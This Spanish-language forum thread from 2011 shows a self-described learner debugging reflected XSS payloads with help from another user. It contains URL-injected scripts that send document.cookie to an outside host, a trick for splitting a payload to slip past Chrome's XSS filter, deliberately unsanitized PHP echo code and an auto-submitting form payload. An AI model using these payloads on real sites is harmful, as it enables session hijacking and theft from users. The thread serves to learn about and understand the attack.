Foros del Web » Programando para Internet » Javascript »

codigo javascript en url

Estas en el tema de codigo javascript en url en el foro de Javascript en Foros del Web. Buenas, Estoy haciendo pruebas de codigo malicioso a nivel educativo y esas cosas... y tengo un problema introducir esta url desde firefox: @import url("http://static.forosdelweb.com/clientscript/vbulletin_css/geshi.css"); Código ...
  #1 (permalink)  
Antiguo 29/11/2011, 15:19
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Pregunta codigo javascript en url

Buenas,


Estoy haciendo pruebas de codigo malicioso a nivel educativo y esas cosas... y tengo un problema introducir esta url desde firefox:


Código Javascript:
Ver original
  1. http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie="+document.cookie+"&location="+document.location;</script>


Error: missing ; before statement
document.location="http://pagina/recupera.php?cookie=" document.cookie;



Sin embargo así:

Código Javascript:
Ver original
  1. http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie="+document.cookie+"&location=asdf"</script>

funciona ok, pero no entiendo el error ya que el ";" se lo introduzco en la url



Saludos y gracias de antemano

Última edición por naitmeir; 29/11/2011 a las 16:02
  #2 (permalink)  
Antiguo 29/11/2011, 16:13
Avatar de zerokilled
Javascripter
 
Fecha de Ingreso: abril-2009
Ubicación: Isla del Encanto, La Borinqueña [+>==]
Mensajes: 8.050
Antigüedad: 15 años, 8 meses
Puntos: 1485
Respuesta: codigo javascript en url

buenas...
en términos de URL, la sintaxis esta bien formada. es decir, el navegador no lo ve como código javascript, sino como una url con parámetros. si lo visualizas en php volcando la variable $_GET, debes obtener algo similar a:

Código PHP:
array
  
'a' => string '"><script>document.location="http://pagina/recupera.php?cookie=" document.cookie "' (length=82)
  
'location' => string 'asdf"</script>' (length=14
la razón por la que te da error dependerá principalmente por dos factores, por como manejas el contenido y -por supuesto- si no le envias un código válido. si imprimes ambas variables -a, location- de forma continua, entonces se genera un error porque el resultado final es:
Código:
"><script>document.location="http://pagina/recupera.php?cookie=" document.cookie "asdf"</script>
nótese que todo a quedado en una linea y por ende la sintaxis no es correcta. en realidad, en dicha linea hay tres expresiones, cada una separada por un espacio. por tanto, en cualquier navegador debe fallar.

__________________
la maldad es una virtud humana,
y la espiritualidad es la lucha del hombre contra su maldad.
  #3 (permalink)  
Antiguo 29/11/2011, 16:39
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Ok, pero simplificando el script sigo sin ver donde me equivoco

web.php

Código PHP:
Ver original
  1. <?php
  2. echo "<pre>";
  3. print_r($_GET);
  4. echo "<pre>";
  5. ?>


URL

http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie="+document.cookie</script>

Resultado:

Array
(
[a] =>
)

(no carga recupera.php)

URL:

http://pagina.com/web.php?a=<script>document.location="http://pagina/recupera.php?cookie=asdf"</script>


Ok: carga la pagina recupera.php


El error sigue siendo el mismo que el anterior

Última edición por naitmeir; 29/11/2011 a las 16:46
  #4 (permalink)  
Antiguo 29/11/2011, 17:39
 
Fecha de Ingreso: diciembre-2010
Ubicación: valencia
Mensajes: 203
Antigüedad: 14 años, 1 mes
Puntos: 11
Respuesta: codigo javascript en url

¿hay cookie en el dominio donde esta ejecutandose?
  #5 (permalink)  
Antiguo 29/11/2011, 18:00
Avatar de zerokilled
Javascripter
 
Fecha de Ingreso: abril-2009
Ubicación: Isla del Encanto, La Borinqueña [+>==]
Mensajes: 8.050
Antigüedad: 15 años, 8 meses
Puntos: 1485
Respuesta: codigo javascript en url

primero mencionar que no estoy muy al tanto sobre los ataques de inyecciones. el caso que tu expone es bien simple, pero hay otros que son más complejos. recuerda que este ataque se da porque el sitio web confia en el contenido proveido por el usuario. en este contexto, eso significa que no se toma la seguridad de satinizar el contenido antes de utilizarlo. partiendo de ahí, asumamos un script php que imprime los parámetros.

Código PHP:
# vulnerable.php
# codigo vulnerable, imprime los parametros sin antes limpiarlo;
foreach($_GET as $v) echo $v
una ruta maliciosa con código html para ese script. nota: puesto que el schema URL utiliza ciertos caracteres con significados particulares, dichos caracteres hay que escaparlos (encodeURIComponent) para que lo tome como literal. por esa razón en los siguientes ejemplos verás las URLs con secuencias %xx.
Código:
vulnerable.php?code=%3Cscript%3Ealert('html%20y%20javascript%20inyectado')%3B%3C%2Fscript%3E
# php imprime;
<script>alert('html y javascript inyectado');</script>
en teoría, funciona en cualquier navegador. aunque recien me fijo que chrome bloquea la ejecucción del script y en la consola vemos un mensaje tal que "Refused to execute a JavaScript script. Source code of script found within request". de todos modos, eso no significa que podemos confiar en esa seguridad del navegador. el caso de chrome asume que estas usando el contenido de un parámetro. el mismo código pero fraccionado en dos parámetros, chrome no lo bloquea. por eso en el mensaje anterior comentaba que depende mucho de como estas manejando el contenido.

Código:
vulnerable.php?open=%3Cscript%3Ealert('html%20y%20javascript%20inyectado')%3B%3C%2F&close=script%3E
# php imprime;
<script>alert('html y javascript inyectado');</script>
ahora bien, tu caso particular es que quieres pasar las cookies de un documento a otro ajeno -el atacante. lo que esta fallando en tu ejemplo es que estas creando una url y no un script. el navegador no puede considerar ambas cosas, o es una url o es un script. quizas sabrás, para ejecutar un script en formato url debes indicar al inicio el pseudo-protocolo javascript:. usando el mismo código php vulnerable, el objetivo se podría hacer de la siguiente forma.

Código:
vulnerable.php?attack=%3Cscript%3Elocation.href%3D%22vulnerable.php%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E
# php imprime ;
# <script>location.href="vulnerable.php?cookie="+encodeURIComponent(document.cookie);</script>
el resultado es que se envia a si mismo los valores con las cookies por parámetros. el cual, consecuentemente php imprime el parámetro -las cookies en si. este ejemplo usa el mismo script php, obviamente un atacante lo cambiaría por su web de destino.

volviendo a tu caso, me parece a mi lo que debes pasar como valor de parámetro es una url pseudo-javascript el cual sera impreso directamente como valor del atributo href de un enlace. en teoría, lo que debes hacer es: en una consola escribes el código javascript malicioso; al inicio agregas el pseudo-protocolo javascript; conviertes todo ese código en string y lo pasas por encodeURIComponent; copias el resultado y lo pegas como parámetro para la web vulnerable.
__________________
la maldad es una virtud humana,
y la espiritualidad es la lucha del hombre contra su maldad.

Última edición por zerokilled; 29/11/2011 a las 18:58
  #6 (permalink)  
Antiguo 30/11/2011, 05:08
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Muchas gracias por la info, no tenia muy claro como codificar el parámetro para pasarlo por url. Recién ando mirando tecnicas XSS y con el ejemplo en el que me basaba no se hacia de este modo y por eso me confié.

Al principio del post ya comente que lo hacia con firefox por que había observado que con un simple alert chrome bloqueaba el script. Con la aclaración que me haces mirare como adaptarlo a diferentes navegadores.

Bueno seguiré con todo esto, gracias!

S2
  #7 (permalink)  
Antiguo 30/11/2011, 11:31
Avatar de zerokilled
Javascripter
 
Fecha de Ingreso: abril-2009
Ubicación: Isla del Encanto, La Borinqueña [+>==]
Mensajes: 8.050
Antigüedad: 15 años, 8 meses
Puntos: 1485
Respuesta: codigo javascript en url

en realidad, aunque con el mismo resultado, me fui por el camino más largo. para hacer las pruebas, basta con crear un formulario que envie al script vulnerable. el navegador mismo se encargará de codificar los parámetros. me funciona tanto en firefox como en chrome.
Código PHP:
# formulario y script vulnerable;
<form><textarea name="injection" cols="80" rows="20"></textarea><br><input type="submit"></form>
<?php
foreach($_GET as $v) echo $v;
?>
__________________
la maldad es una virtud humana,
y la espiritualidad es la lucha del hombre contra su maldad.
  #8 (permalink)  
Antiguo 30/11/2011, 16:33
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Ok esto no lo havia probado, pero me quedo con la primera técnica.

Tengo otra duda relacionada con el envió de variables a través del formulario. Esta vez con POST, teniendo los siguientes ficheros:

1:

Código:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body onload="xss();">
<form method="post" name="f" action="http://localhost/v1.php">
<input name="username" value="<script>alert('XSS')</script>">
<input type="submit" class="button" name="s">
</form>
<script>
	function xss() {
		document.f.s.click();
	}
</script>
</body>
</html>
2:

Código:
<html >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form id="form" name="form" method="post" action=""http://localhost/v2.php">
<label>Usuario:
<input name="username" type="text" id="username" size="30"  />
</label>
<br />
<label>
Clave:
<input type="password" name="password" id="password"  />
</label>
<input type="submit" name="ok" id="ok" value="OK" />
</form>
</body>
</html>
3:

Código PHP:
Ver original
  1. <?php
  2. foreach($_POST as $v) echo $v;
  3. ?>


Como se puede observar tenemos que el primer fichero cargara al segundo y este debería guardar el valor de la variable "username" que se envía desde el primer fichero para cuando se hace el submit operar con ese valor.

Lo he probado todo en local, pero no hubo suerte y no se produce el alert en el tercer fichero.

Espero que esto se entienda bien, ya que pienso que es bueno conocer estos agujeros para poner remedio.

S2
  #9 (permalink)  
Antiguo 30/11/2011, 16:48
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Otra cosa que recién me doy cuenta es que si desde el primer fichero se llama al tercero en chrome no funciona y del mismo modo en firefox si lo hace.
  #10 (permalink)  
Antiguo 30/11/2011, 16:57
Avatar de zerokilled
Javascripter
 
Fecha de Ingreso: abril-2009
Ubicación: Isla del Encanto, La Borinqueña [+>==]
Mensajes: 8.050
Antigüedad: 15 años, 8 meses
Puntos: 1485
Respuesta: codigo javascript en url

espero haber comprendido el orden. lo que entendí fue, v1.php es el #2 y v2.php es el #3. o sea, estas haciendo una cadena. en este caso no debería suceder nada salvo imprimir los valores de los campos username y password del segundo código. recuerda que en php las variables no son persistente de script en script. es decir, si los datos del primer formulario (#1) no lo guardas en algún lugar -base de datos, archivo, sessiones, o transmitirlo al próximo script-, dificilmente los próximos script sabrán de su existencia. fíjate que en el código #2, asumiendo que ahí es donde llegan los datos del primer código, no hay ningún código php que trabaje con los datos del primer formulario. por tanto, la segunda petición enviará nuevos valores para la variable $_POST de php.

@edit: el caso de chrome ya lo señale en un mensaje anterior.
Cita:
chrome bloquea la ejecucción del script y en la consola vemos un mensaje tal que "Refused to execute a JavaScript script. Source code of script found within request". de todos modos, eso no significa que podemos confiar en esa seguridad del navegador. el caso de chrome asume que estas usando el contenido de un parámetro.
de alguna manera, chrome detecta que el contenido de uno de los parámetros es exactamente el mismo a una porción del código html. y si es un script, entonces prohibe su ejecucción.
__________________
la maldad es una virtud humana,
y la espiritualidad es la lucha del hombre contra su maldad.
  #11 (permalink)  
Antiguo 30/11/2011, 17:11
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Si el orden es ese y el resultado también lo temía. La intención de todo esto es saber si es posible introducir codigo a variables de formularios POST (hidden). Yo me guie sobre este enlace pero claramente no lo he entendido bien.

Lo que he observado es que cuando se carga el segundo fichero, si miramos el codigo tenemos el codigo del primer script en chrome y en firefox no.
  #12 (permalink)  
Antiguo 30/11/2011, 17:30
Avatar de naitmeir  
Fecha de Ingreso: junio-2008
Ubicación: Barcelona
Mensajes: 227
Antigüedad: 16 años, 6 meses
Puntos: 0
Respuesta: codigo javascript en url

Me respondo yo mismo sobre "si es posible introducir codigo a variables de formularios POST" ya que era tan fácil como utilizar la consola y modificar los valores desde allí

  #13 (permalink)  
Antiguo 30/11/2011, 17:50
Avatar de zerokilled
Javascripter
 
Fecha de Ingreso: abril-2009
Ubicación: Isla del Encanto, La Borinqueña [+>==]
Mensajes: 8.050
Antigüedad: 15 años, 8 meses
Puntos: 1485
Respuesta: codigo javascript en url

me parece a mi, el artículo le falta detalles específicos al describir el tipo de ataque. en una parte hace mención de un evento del cual no estoy familiarizado -la redirección de google. tampoco se explica muy bien la circunstancia de si el script malicioso ya estaba incluido en la web vulnerable. en mis palabras, esto fue lo que entendí: un ataque donde en un sitio vulnerable hay un código malicioso. el código lo que hace es redireccionar al usuario a la web del atacante enviando los datos por post. a su vez, la web atacante lo redirecciona de vuelta al sitio de origen con los datos, de esa manera el usuario no sabe lo que sucedio en el trasfondo.

Cita:
Lo que he observado es que cuando se carga el segundo fichero, si miramos el codigo tenemos el codigo del primer script en chrome y en firefox no.
eso no lo entendi. no sé a que te refieres.
__________________
la maldad es una virtud humana,
y la espiritualidad es la lucha del hombre contra su maldad.

Última edición por zerokilled; 30/11/2011 a las 18:09

Etiquetas: funcion, php, url
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 19:30.